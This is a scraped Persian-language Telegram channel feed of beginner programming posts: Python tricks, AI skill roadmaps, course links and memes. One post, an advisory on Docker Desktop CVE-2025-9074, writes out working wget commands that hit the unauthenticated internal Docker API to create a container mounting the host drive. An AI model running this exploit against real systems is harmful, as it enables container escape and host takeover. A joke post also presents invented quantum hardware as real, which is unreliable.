ProgHackLine
326 subscribers
81 photos
1 video
97 links
آموزش امنیت سایبری، توسعه نرم‌افزار و ترفندها و
ابزارهای کاربردی
کانال:
📲 @ProgHackLine
برند:
📲 @Research_Exploits_Development
گپ:
📲 @Research_Exploits_Development_Gp
Download Telegram
#میم
خواب نداریما
بیشترمیخوای؟:
🔗https://t.me/ProgHackLine
1🔥1
#ابزار_کاربردی
#پایتون

خسته شدی از بس همه توضیح‌ها و مقاله‌ها سخت و پیچیده‌ن؟ 🤯
یه ترفند باحال بهت میگم: قبل سرچ‌هات بنویس ELI5

🔎 ELI5 = Explain Like I’m 5
یعنی: "جوری برام توضیح بده انگار ۵ سالمه" 👶🍼

مثلا اگه بنویسی:
ELI5 هوش مصنوعی
🔹 گوگل یا هر سایتی میاد خیلی ساده برات توضیح میده، بدون پیچوندن! 😍

📚 راستی یه کتابخونه پایتون به اسم eli5 هم داریم که واسه دیباگ و توضیح ساده‌ی مدل‌های یادگیری ماشین استفاده میشه 🤖📊

این پست هم دقیقا به سبک ELI5 نوشته شد 😉

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
👌31🗿1🦄1
#حوزه_تخصصی
#هوش_مصنوعی

اگه یادتون باشه قبلا گفتم زبانای برنامه نویسی خواسته مارو برا کامپیوتر ترجمه میکنند،
ساختن یه هوش مصنوعی یعنی یاد دادن به کامپیوتر که پطور فکر کنه. از بهتر کردن کیفیت عکس 🎨 تا چت‌باتی که باهات حرف می‌زنه 💬

🔥 انواع پرکاربردش:

بهترکننده کیفیت تصویر 🖼️

چت‌بات و مدل زبانی 💭

پیشنهاددهنده (مثل نتفلیکس) 🎯

تشخیص و پیش‌بینی (بیماری، تقلب، اشیاء) 👀


📚 مهارت لازم

یه زبان برنامه نویسی مثل پایتون یا R++ 🐍

علم ریاضی گسترده جبری،خطی،اماری،کامپلکس و دیفرانسیل

کتابخونه‌ها مثل scikit-learn و PyTorch ⚙️

مهارت های دیگه مثل دیتا بیس الگوریتم کامل و...⭐️

📈 بازارش؟ تو ایران هنوز بزرگ نشده ولی بین المللیش خیلی بزرگه

بزودی یه لیست کامل از مهارتای موردنیاز توسعه
هوش مصنوعی براتون میزارم...

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
1🍌1
رتبه ۱ کنکور ایران مزایای عالی ایی داره از جمله بلاگری
8
اگه بتونی یه تابع برنامه نویسی تو دنیای واقعی استفاده کنی اون چه تابعیه؟
3
#حوزه_تخصصی
#هوش_مصنوعی 🤖

🌐 برای ورود به دنیای AI چه مهارتایی باید بلد باشی؟ اینجوریه:

📐 ریاضیات پایه:
جبر خطی آمار 📊 حسابان 🧮

💻 برنامه‌نویسی:
پایتون 🐍 (شاه‌کلید اصلی)

📚 ساختمان داده و الگوریتم‌ها 🏗️

🧠 یادگیری ماشین (ML)
🌀 یادگیری عمیق (DL)

🧹 پردازش داده (Data Preprocessing)

⚙️ کتابخونه‌ها:
NumPy 🔢 | Pandas 🐼 | Scikit-learn 📘 | TensorFlow 🔶 | PyTorch 🔥

🗄️ پایگاه داده: SQL & NoSQL

💬 پردازش زبان طبیعی (NLP) 🗣️
👁️ بینایی ماشین (Computer Vision) 👀

🔧 مهندسی داده (Data Engineering)
🔎 علم داده (Data Science)

🕸️ معماری شبکه‌های عصبی: CNN 🌊 | RNN 🔄 | Transformer

📈 بهینه‌سازی (Optimization)

💾 کلان‌داده (Big Data): Spark | Hadoop 🐘

🚀 دیپلوی مدل (MLOps, Deployment)

☁️ API و سرویس‌های ابری: AWS ☁️ | Azure 🔷 | GCP 🌍

🛡️ امنیت و اخلاق در هوش مصنوعی

💡 مهارت نهایی: حل مسئله + خلاقیت
بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
🔥1💔1
#ابزار_کاربردی
#هوش_مصنوعی
🌟خیلیا از AI می‌ترسن، ولی بیخود! یه روز گفتن هرکی انگلیسی بلده می‌تونه برنامه‌نویس بشه، حالام میگن شغلا رو AI می‌گیره. خب کی باید بهش دستور بده؟ اینجاست که مهندسی پرامپت میاد وسط. بهتره خودتو باهاش وفق بدی نه اینکه بترسی!🌟

🔮 ۱۵ ابزار هوش مصنوعی که باید بشناسی:
📝 متن
1️⃣ ChatGPT → تولید متن، ترجمه، ایده‌پردازی
2️⃣ Grammarly → اصلاح نگارش انگلیسی
3️⃣ Quillbot → پارافریز و خلاصه‌سازی

🎨 تصویر
4️⃣ DALL·E → ساخت تصویر از متن
5️⃣ MidJourney → خلق تصاویر هنری
6️⃣ Runway ML → ویرایش ویدیو/تصویر

🎤 صدا و ویدیو
7️⃣ Descript → ویرایش ویدیو/پادکست
8️⃣ Murf AI → صدای طبیعی
9️⃣ Synthesia → ویدیو با آواتار

💻 کدنویسی
🔟 GitHub Copilot → کمک‌یار کدنویسی
1️⃣1️⃣ Tabnine → تکمیل خودکار کد

📊 کسب‌وکار و داده
1️⃣2️⃣ Notion AI → خلاصه‌سازی و محتوا
1️⃣3️⃣ Jasper AI → متن تبلیغاتی
1️⃣4️⃣ MonkeyLearn → تحلیل متن/داده

🌍 چندمنظوره
1️⃣5️⃣ Google Bard (Gemini) → دستیار همه‌کاره

🔥 این ابزارا زندگیتو آسون‌تر و حرفه‌ای‌تر می‌کنن!
بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
2
#اخبار_و_فکت

⭐️نشسته بودم چای میزدم  گفتم بیایم قویترین کامپیوتر حال حاضر رو باهم تجسم کنیم نمیدونم قطعات باهم بخونن یا نه ولی دیگه بسازیمش!:

🧠 پردازنده: Majorana 1 Pro

قوی‌ترین پردازنده کوانتومی الان!
اگه می‌خوای بیشتر راجب پردازنده‌های کوانتومی بدونی  اینجا کلیک کن

🔌 مادربرد:  Z790 Arous master x pro
توضیح: قویترین مادربرد حال حاضر جهان نسخه پرو برای تعامل با کامپیوترهای کوانتومی ساخته شده

💾 حافظه: 10TbQSSD
توضیح: خیلی خیلی سریع و ازونجایی که کوانتومیه قابلیت ذخیره‌سازی و پردازش همزمان داره چیزی که توی سیستمای ما حتی تصورشم محاله!

رم: 1tb Qubit RAM
توضیح:   پایداری بالایی داره هر Qubit قدرت چند میلیون ترانزیستور سیلیکونی داره

🎮 کارت گرافیک: Titan V




🖥️ نمایشگر: اطلاعات دقیقی نیست ولی راستشو بخوای، اگه من همچین سیستمی داشتم ۱۰۰٪ به‌جای مانیتور، یه پروژکتور سینمایی می‌گرفتم 🍿
راستی می‌دونستین قوی‌ترین نمایشگرها پروژکتورن نه تلویزیون‌ها؟ البته نه برای استفاده خونگی👀

😂 یه نفر رو می‌شناسم که اگه این کامپیوتر دستش بود، فقط Minecraft بازی می‌کرد!

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
2
#حوزه_تخصصی
#پایتون
🚀 از پایتون کجا میشه شروع کرد و به چه حوزه‌هایی میشه رفت؟

پایتون یکی از منعطف‌ترین زبان‌های برنامه‌نویسی دنیاست و تقریبا در همه حوزه‌های مهم IT میشه وارد شد. اینجا یه مرور کلی داریم:

🔹 توسعه وب (Web Development)
با فریم‌ورک‌هایی مثل Django و Flask میشه وب‌سایت‌ها و اپلیکیشن‌های مقیاس‌پذیر ساخت.
📌 مناسب برای علاقه‌مندان به طراحی سرویس‌های آنلاین.

🔹 هوش مصنوعی و یادگیری ماشین (AI & ML)
کتابخونه‌هایی مثل TensorFlow، PyTorch و Scikit-learn، پایتون رو به پادشاه AI تبدیل کردن.
📌 بهترین انتخاب برای کسایی که عاشق دیتا و الگوریتم هستن.

🔹 علم داده و تحلیل داده (Data Science)
با ابزارهایی مثل Pandas، NumPy و Matplotlib میشه داده‌ها رو تحلیل، مصورسازی و مدل‌سازی کرد.
📌 مناسب کسایی که می‌خوان داده‌ها رو به طلا تبدیل کنن.

🔹 اتوماسیون و اسکریپت‌نویسی (Automation & Scripting)
پایتون بهترین گزینه برای خودکارسازی کارهای تکراری و ساخت ربات‌هاست.
📌 برای کسایی که دنبال بهره‌وری بیشترن.

🔹 امنیت سایبری (Cyber Security)
ابزارها و اسکریپت‌های تست نفوذ معمولا با پایتون نوشته می‌شن.
📌 عالی برای هکرهای کلاه‌سفید.

🔹 بلاکچین و کریپتو (Blockchain & Crypto)
با پایتون میشه قرارداد هوشمند نوشت، بلاکچین شخصی ساخت و داده‌های کریپتویی رو آنالیز کرد.
📌 انتخاب جذاب برای علاقه‌مندان به دنیای غیرمتمرکز.

🔹 توسعه بازی (Game Development)
کتابخونه‌هایی مثل Pygame اجازه میدن بازی‌های ساده تا نیمه‌پیشرفته بسازید.
📌 مناسب برای خلاق‌هایی که به سرگرمی علاقه دارن.

🔹 اپلیکیشن دسکتاپ (Desktop Apps)
با PyQt و Tkinter میشه نرم‌افزارهای گرافیکی برای ویندوز، مک و لینوکس ساخت.
📌 مناسب برای کسانی که دوست دارن نرم‌افزارهای مستقل طراحی کنن.
بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
👍3
#تازه_کار
#پایتون

سلام برنامه‌نویس‌های تازه‌کار پایتون 🌱
امروز چند تا ترفند کاربردی پایتون رو باهم مرور می‌کنیم 👇


🔹 ترفند ۱: جابه‌جایی سریع متغیرها
لازم نیست برای جابه‌جا کردن مقدار دو متغیر از متغیر موقت استفاده کنی:

a, b = b, a

این هم سریع‌تره،هم خواناتر


🔹 ترفند ۲: مقدار پیش‌فرض دیکشنری
اگه مطمئن نیستی کلیدی وجود داره یا نه، می‌تونی از .get استفاده کنی:

data = {"name": "Ali"}
print(data.get("age", 20)) خروجی: 20

خیلی بهتر از اینه که خطای KeyError بخوری 🚀


🔹 ترفند ۳: لیست‌سازی سریع (List Comprehension)
با یک خط می‌تونی لیست جدید بسازی:

squares = [x**2 for x in range(5)]
خروجی: [0, 1, 4, 9, 16]
این روش هم کوتاهه، هم خوانا 🌟


🔹 ترفند ۴: برعکس کردن لیست
به جای نوشتن حلقه، کافیه از slice استفاده کنی:

nums = [1, 2, 3]
print(nums[::-1]) خروجی: [3, 2, 1]


🔹 ترفند ۵: چند خط چاپ در یک خط
می‌تونی چند متغیر رو پشت سر هم چاپ کنی:

a, b = 5, 10
print(a, b, sep=" - ")خروجی: 5 - 10

خیلی به درد موقعیت‌هایی می‌خوره که فرمت چاپ
برات مهمه
بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
تو کامنتا توام ترفند بگو
2
#حوزه_تخصصی
#کرنل

سلام دوستان برنامه‌نویس و علاقه‌مند به سیستم‌عامل‌ها 🌟
امروز می‌خوایم یه نگاه عمیق به حوزه تخصصی کرنل بندازیم و بفهمیم واقعاً این بخش سیستم‌عامل چیه و چرا مهمه.


---

🔹 کرنل چیه؟
کرنل (Kernel) قلب سیستم‌عامله ❤️
همه چیز از اونجا کنترل می‌شه: مدیریت حافظه، پردازنده، فایل‌ها، و ارتباط سخت‌افزار با نرم‌افزار. بدون کرنل، سیستم‌عامل هیچ کاری نمی‌تونه انجام بده!


---

🔹 حوزه تخصصی کرنل یعنی چی؟
وقتی می‌گیم «حوزه تخصصی کرنل»، منظورمون برنامه‌نویسی و توسعه هسته سیستم‌عامله. این شامل:

نوشتن درایورهای سخت‌افزار 🖥️

مدیریت حافظه و پردازش‌ها 🧠

بهینه‌سازی عملکرد سیستم

پیاده‌سازی سیستم فایل و پروتکل‌های شبکه 🌐


🔹 چرا یادگیری کرنل مهمه؟

درک عمیق از سیستم‌عامل پیدا می‌کنید 🕵️‍♂️

می‌تونید سیستم‌ها و سرورها رو بهینه کنید 🚀

فرصت‌های شغلی خاص و جذاب 💼

امنیت سیستم رو می‌فهمید 🔒

🔹 ابزارها و زبان‌ها

بیشتر با C و C++ کار می‌شه یه پست یادگیری از 0 راجبش میزارم امروز !

💸بازار مالیش بازار بین المللی خوبی داره تو ایران
نه
اینجا یه سیستم خوب براش معرفی کردم

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
2🔥1
#تازه_کار

🌱 از صفر تا برنامه‌نویس شدن 🌱
خیلیا می‌پرسن: "از کجا شروع کنیم؟ چی بخونیم؟ ترتیبش چیه؟"
اینجا یه نقشه راه (MAP) براتون گذاشتم 👇


🔹 مرحله ۱: پایه‌ها

یادگیری مفاهیم پایه مثل متغیر، شرط، حلقه

شروع با زبانی ساده مثل Python یا JavaScript



🔹 مرحله ۲: ساختار داده و الگوریتم

یاد بگیر چطوری داده‌هارو ذخیره و مدیریت کنی (لیست، استک، درخت و...)

الگوریتم‌های جستجو و مرتب‌سازی خیلی مهمن



🔹 مرحله ۳: پروژه‌های ساده

ماشین حساب 🧮

وب‌اسکرپر کوچک 🌐

وبلاگ ساده ✍️



🔹 مرحله ۴: ورود به تخصص

اینجا همه حوزه هارو نام بردم
میتونی پستای کلی رو با #حوزه_تخصصی ببینی


🔹 مرحله ۵: ابزارهای مهم

Git / GitHub برای کنترل نسخه 🔀

کار با پایگاه داده‌ها (SQL/NoSQL)

مفاهیم DevOps و Cloud



🔹 مرحله ۶: پروژه واقعی + همکاری تیمی
اینجاست که مهارت‌هات رو توی پروژه‌های بزرگ و واقعی می‌سنجی 💻
یاد می‌گیری با تیم کار کنی، مستندسازی کنی و کدت رو قابل‌درک تحویل بدی.

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
2🔥1
#ابزار_کاربردی
🚀 چیت‌شیت چیزی شبیه راهنمای تقلبه!
وقتی یه دستور، سینتکس یا الگوریتم یادت نمیاد، به جای سرچ طولانی، یه نگاه به چیت‌شیت کافیه 👌

🔝 Top Cheatsheets برای برنامه‌نویسا:

Cheatography
📌 یکی از بزرگ‌ترین آرشیوها؛ برای همه‌ی زبان‌ها و ابزارها.

OverAPI
📌 همه‌ی مرجع‌ها یکجا؛ مخصوص وقتی دنبال خلاصه سریع می‌گردی.

GeeksforGeeks Cheatsheets
📌 عالی برای الگوریتم و دیتااستراکچر.

DZone Refcardz
📌 کارت‌های مرجع حرفه‌ای برای زبان‌ها و فریم‌ورک‌ها.

Codecademy Cheatsheets
📌 برای یادگیری سریع و تمرین.

Educative Cheatsheets
📌 تعاملی و کامل، با مثال‌های اجرا شدنی.

Ctrl+Alt+Cheat
📌 افزونه VSCode با شیت‌چیت آماده، همیشه کنار ادیتورت.

💡 پیشنهاد:

سایت‌ها رو بوکمارک کن 📑

اگه زیاد با VSCode کار می‌کنی، افزونه رو نصب کن.

هرجا گیر کردی، قبل از سرچ، یه نگاه به چیت‌شیت‌ها بنداز!

اینم فور بزن پیامای ذخیرت!

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
1🔥1👏1
#تازه_کار

🔹 توی مسیر برنامه‌نویسی سه عنصر طلایی هست که اگه درست کنارشون باشی، خیلی سریع‌تر رشد می‌کنی:

۱. خلاقیت

چی هست؟ خلاقیت یعنی بتونی برای حل یه مسئله چند راه‌حل مختلف پیدا کنی، ترکیب کنی و ساده‌ترین و بهترینشو انتخاب کنی.
📌 چطور بفهمیم داریم؟ وقتی موقع کدنویسی گیر می‌کنی و به جای توقف، شروع می‌کنی راه‌های مختلف رو تست کردن، یعنی داری خلاقیت به خرج می‌دی.
🛠 چطور بدست بیاریم؟ تمرین الگوریتم‌ها، پروژه‌های شخصی و دیدن کد بقیه. هرچی بیشتر ببینی و امتحان کنی، ذهنت منعطف‌تر می‌شه.

۲. استمرار

چی هست؟ استمرار یعنی مداومت. اینکه هر روز—even اگه ۳۰ دقیقه باشه—روی کدنویسی وقت بذاری.
📌 چطور بفهمیم داریم؟ اگه بعد از چند هفته هنوز در حال یادگیری و تمرین هستی و رها نکردی، یعنی استمرار داری.
🛠 چطور بدست بیاریم؟ هدف‌های کوچک و قابل دستیابی بچین. مثلا هر روز یه تمرین یا خوندن یه مبحث کوتاه. استمرار یعنی کارای کوچیک اما پیوسته.

۳. آموزش صحیح

چی هست؟ یعنی منابع درست، مسیر مشخص و یادگیری اصولی. نه اینکه از هرجایی چیزی بخونی و وسط راه سردرگم بشی.
📌 چطور بفهمیم داریم؟ وقتی یادگیریت منظم جلو می‌ره و با وجود سختی‌ها، درک خوبی از مفاهیم داری، یعنی مسیرت درسته.
🛠 چطور بدست بیاریم؟ دنبال منابع معتبر باش. از دوره‌ها، کتاب‌ها و کامیونیتی‌های حرفه‌ای استفاده کن. یه نقشه راه مشخص بساز و همون رو پیش برو.


---

این سه عنصر رو مثل سه ستون در نظر بگیر. با خلاقیت مسئله رو باز می‌کنی، با استمرار جلو می‌ری و با آموزش صحیح مسیرتو مطمئن می‌کنی.

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
3🔥1
#تازه_کار
#ابزار_کاربردی

برای هر زبان برنامه‌نویسی یک دوره‌ی خفن از یوتیوب آوردم که کاملاً کاربردیه و به درد مبتدی‌ها تا حرفه‌ای‌ها می‌خوره:


---

💻۱. زبان پایتون (Python)
https://www.youtube.com/watch?v=_uQrJ0TkZlc


---

💻۲. زبان جاوا (Java)
https://www.youtube.com/playlist?list=PL9ooVrP1hQOEe9EN119lMdwcBxcrBI1D3


---

💻۳. زبان C++
https://www.youtube.com/watch?v=-TkoO8Z07hI


---

💻۴. زبان جاوااسکریپت (JavaScript)
https://www.youtube.com/watch?v=EerdGm-ehJQ


---

💻۵. زبان Go (Golang)
https://www.youtube.com/watch?v=un6ZyFkqFKo


---

💻۶. زبان روبی (Ruby)
https://www.youtube.com/watch?v=t_ispmWmdjY


---

💻۷. زبان C#
https://www.youtube.com/watch?v=GhQdlIFylQ8


---

💻۸. زبان PHP
https://www.youtube.com/watch?v=l4_Vn-sTBL8

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
🔥3
#اخبار_و_فکت
زبان پایتون اول کاری برای ساخت اسکریپت‌های ساده طراحی شده بود، اما امروزه در هوش مصنوعی، وب، علم داده و حتی رباتیک یکی از پرکاربردترین زبان‌هاست!

🔎 جالبه بدونید طبق گزارش ۲۰۲۵ Stack Overflow، پایتون همچنان جزو ۳ زبان محبوب دنیاست و هر سال جامعه توسعه‌دهندگانش بزرگ‌تر میشه.

حالا باحال ترین بخش ماجرا:
می‌دونستین شما هم می‌تونین با ساخت یه کتابخونه یک چیزی به پایتون اضافه کنین و اسم‌تون رو توی تاریخچه‌ی این زبان موندگار کنین؟
یعنی همون‌جوری که الان همه از numpy یا requests استفاده می‌کنن یه روز شاید یکی بیاد بگه:

برو کتابخونه‌ی ... (کتابخونه ای که شما ساختی)رو نصب کن، نصف کاراتو راحت
می‌کنه! 🚀


بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
2🔥1
#حوزه_تخصصی
#توسعه_کتابخانه

💻 توسعه کتابخانه چیست؟
کتابخانه مجموعه ابزارهای آماده برای برنامه‌نویسان است که کارها را سریع‌تر و استانداردتر می‌کند.

🚀 مسیر یادگیری:
زبان برنامه‌نویسی → الگوریتم و ساختار داده → بررسی کتابخانه‌های محبوب → ساخت پروژه کوچک → انتشار و نگهداری

💡 بازار کار:
شرکت‌ها و استارتاپ‌ها نیاز به کتابخانه‌های بهینه دارند، open-source درآمدزا است و رزومه شما را قوی می‌کند.

🎯 نکته:
توسعه کتابخانه مهارت شما را حرفه‌ای می‌کند و در پروژه‌های بزرگ کاربرد دارد.

تقریبا هممون میتونیم یه کتابخانه چرت و پرت بسازیم ولی توسعه دهنده کتابخانه حساب نمیشبم چون در سطح فوق حرفه ای نیست کارمون

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
2🔥1
#اخبار_و_فکت
#امنیت_سایبری
🐋 آسیب‌پذیری CVE-2025-9074 در Docker Desktop

اخیرا از آسیب‌پذیری جدیدی در Docker Desktop با شناسه CVE-2025-9074 کشف شده است که به مهاجمین این امکان را می‌دهد تا از داخل کانتینرها به سیستم میزبان دسترسی پیدا کنند. این آسیب‌پذیری به دلیل دسترسی بدون احراز هویت به API داخلی Docker بوده و به راحتی می‌توان با استفاده از یک درخواست HTTP ساده، دسترسی کامل به سیستم میزبان پیدا کرد.

💥 این آسیب‌پذیری چطور به وجود آمده است؟

در Docker Desktop نسخه‌های قبل از ۴.۴۴.۳، هر کانتینری می‌توانست به API Docker با آدرس http://192.168.65.7:2375 دسترسی داشته باشد بدون اینکه نیاز به احراز هویت برای استفاده از آن داشته باشد.. با استفاده از این دسترسی، مهاجم می‌تواند یک کانتینر جدید با دسترسی‌های ویژه راه‌اندازی کرده و در نهایت به فولدر C: در سیستم میزبان دسترسی پیدا کند. لازم به ذکر است که این آسیب پذیری در نسخه مک نیز قابل استفاده است و امکان دسترسی روت را برای مهاجم فراهم می‌کند.

💠 نمونه کد برای آزمایش آسیب‌پذیری

ابتدا یک کانتینر Alpine بسازید.
docker run -it alpine /bin/sh

سپس با استفاده از پیلود زیر، آسیب‌پذیری را تست کنید.
wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /mnt/host_root/pwn.txt"],"HostConfig":{"Binds":["//c/host_root:/mnt/host_root"]}}' \
-O - http://192.168.65.7:2375/containers/create > create.json

cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start

این پیلود با ارسال یک درخواست HTTP به آدرس زیر،
192.168.65.7:2375/containers/create

یک کانتینر جدید با دستور echo pwned > /mnt/host_root/pwn.txt می‌سازد و با استفاده از قابلیت Volume در Docker، مسیر C:/host_root را به mnt/host_root/ در داخل کانتینر مپ می‌کند.

📊 امتیاز CVSS

این آسیب‌پذیری دارای امتیاز CVSS 9.3 (بحرانی) است و در وکتور CVSS زیر قرار می‌گیرد:

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

راه‌حل
این آسیب پذیری در نسخه Docker Desktop ۴.۴۴.۳ برطرف شده است.

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
2🔥1
#تازه_کار
#پایتون

🔹 امروز ۱۰ تا از توابع داخلی جالب پایتون رو معرفی می‌کنم که خیلی وقتا کار رو براتون ساده‌تر می‌کنن 👇


۱. enumerate

وقتی روی یک لیست حلقه می‌زنید، علاوه بر مقدار، شماره ایندکس هم می‌گیرید.
nums = ["a", "b", "c"]
for i, val in enumerate(nums, start=1):
print(i, val)
# خروجی:
# 1 a
# 2 b
# 3 c



۲. zip

چند لیست رو کنار هم جفت می‌کنه.
names = ["Ali", "Sara", "Reza"]
ages = [25, 22, 28]
for n, a in zip(names, ages):
print(n, a)

# خروجی:
# Ali 25
# Sara 22
# Reza 28


۳. map

یک تابع رو روی همه‌ی اعضای لیست اعمال می‌کنه.
nums = [1, 2, 3, 4]
squared = list(map(lambda x: x**2, nums))
print(squared)
# [1, 4, 9, 16]

۴. filter

اعضای لیست رو بر اساس یک شرط فیلتر می‌کنه.
nums = [10, 15, 20, 25]
even = list(filter(lambda x: x % 2 == 0, nums))
print(even)
# [10, 20]


۵. any و all

برای بررسی شرط‌ها روی لیست خیلی کاربردی هستن:

all → اگه همه درست باشن، True می‌ده.

any → اگه حداقل یکی درست باشه، True می‌ده.

nums = [2, 4, 6]
print(all(x % 2 == 0 for x in nums)) # True
print(any(x > 5 for x in nums)) # True



۶. sorted

مرتب‌سازی سریع و راحت حتی با کلید سفارشی مثل طول رشته
words = ["python", "ai", "mmkmjsjsjsj"]
print(sorted(words, key=len))
# ['ai', 'python', 'mmkmjsjsjs']

۷. reversed

برای برعکس کردن لیست یا رشته
text = "Python"
print("".join(reversed(text)))
# nohtyP



۸. set

تبدیل یه ساختمون داده به یه مجموعه ریاضی که از خواصش حذف تکراریاست تابع ساده ایه و ابتدایی ولی بدردبخور
nums = [1, 2, 2, 3, 3, 3]
print(set(nums))
# {1, 2, 3}

۹. round

برای گرد کردن اعداد اعشاری نسبت یه یک عدد.
print(round(3.14159, 2)) 
# 3.14


۱۰. help

برای گرفتن توضیحات و داکیومنت درباره‌ی توابع یا ماژول‌ها.
help(len)

💡 این توابع بخش کوچیکی از قدرت پایتونه و تسلط روی اونا باعث میشه کد تمیزتر و کوتاه‌تری بنویسید.

👀 شما چه تابع باحالی میشناسین؟

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
3🔥1
#حوزه_تخصصی
#ربات_تلگرامی

📌 ساخت ربات تلگرام همونجاییه که کد می‌زنی و بعدش یه شی دیجیتالی می‌سازی که ۲۴ ساعته بیداره غر نمی‌زنه مرخصی نمی‌خواد و از همه مهم‌تر حقوقم نمی‌گیره!

🎯 قضیش چیه؟

ربات تلگرام مثل دستیار شخصیه:

برات پیام می‌ده،

سفارش می‌گیره،

گروهو جمع‌وجور می‌کنه،

حتی می‌تونه جک بگه (اگه بخوای )
یا مدلای دیگه ای داره این مدل معروفترشه

💰 بازار کارش چطوره؟

هر کسب‌وکاری که تو تلگرامه دیر یا زود به یه ربات نیاز داره.

از فروشگاه آنلاین بگیر تا کانال فان همه دنبال رباتن

پروژه‌های فریلنسری هم زیاده → یعنی دلار و تومن همزمان! 💵💸

البته اگه دنبال استخدام و درامد زیادی فعععک نکنم

🛣 رودمپ یادگیری

1️⃣یه زبان مثل پایتون
2️⃣ بات فادر یادبگیر
3️⃣ کتابخونه‌ها رو یاد بگیر بعدا معرفی میکنم
4️⃣ دیتابیس بلد باشی = حرفه‌ای‌تر میشی.
5️⃣ بعدش می‌تونی پرداخت، امنیت و امکانات خفن اضافه کنی.
6️⃣ تمرین کن با پروژه‌های باحال مثل:

ربات فروشگاهی 🛒

ربات مدیریت گروه 👮

ربات سرگرمی 🎲



خلاصه اینکه اگه دنبال یه حوزه خفن و باحال هستی، برو سراغ ساخت ربات تلگرام

بیشتر می‌خوای؟
🔗 https://t.me/ProgHackLine
🔥21